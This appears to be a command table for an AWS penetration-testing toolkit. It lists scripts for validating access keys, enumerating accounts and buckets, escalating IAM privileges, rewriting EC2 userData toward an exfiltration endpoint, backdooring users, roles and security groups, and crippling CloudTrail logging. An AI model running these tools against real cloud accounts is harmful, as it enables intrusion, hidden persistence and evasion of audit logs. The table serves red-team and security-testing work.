Commands	Description
Information Gathering	
<code>./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json</code>	Checks access validity and return identity information of the principal
<code>./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json</code>	Checks for the existence of the account
<code>/validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json</code>	Checks whether the principals exist in each account
<code>./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json</code>	Checks whether the buckets exist and return basic identifying information
Privilege Escalation	
<code>./add_iam_policy.py -u myuser -r myrole -g mygroup</code>	Adds the administrator and all action policy to a given user, role, or group
<code>./assume_roles.py -o /tmp/out.json</code>	Attempts to assume all roles (ARNs) in a file or provided by the list-roles API
<code>./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint</code>	Bounces a given ec2 instance and rewrites its userData

<pre>./dump_cloudformation_stack_descriptions.py -o /tmp/data</pre>	Retrieves stack descriptions for every existing stack and every stack deleted in the last 90 days
<pre>./dump_instance_attributes.py -u -o /tmp/</pre>	Retrieves specified instance attributes from every EC2 instance in the account
Maintaining Access	
<code>rabbit_lambda</code>	Responds to user delete events by creating more copies of the deleted user
<code>cli_lambda</code>	Acts as an aws cli proxy and does not require credentials
<code>backdoor_created_users_lambda</code>	Adds an access key to each newly created user
<code>backdoor_created_roles_lambda</code>	Adds a trust relationship to each newly created role
<code>backdoor_created_security_groups_lambda</code>	Adds a given inbound access rule to each newly created security group
<code>backdoor_all_users.py</code>	Adds an access key to every user in the account
<code>backdoor_all_roles.py</code>	Adds a trust relationship to each role in the account
<code>backdoor_all_security_groups.py</code>	Adds a given inbound access rule to each security group in the account
Clearing Tracks	
<code>disrupt_cloudtrail.py</code>	Attempts to disrupt/cripple cloud trail logging in a specified way
Exploring the Gathered Data	
<pre>./dump_account_data.sh /tmp/</pre>	Calls a bunch of generic account-based read/list/get/describe functions and saves the data to a given location
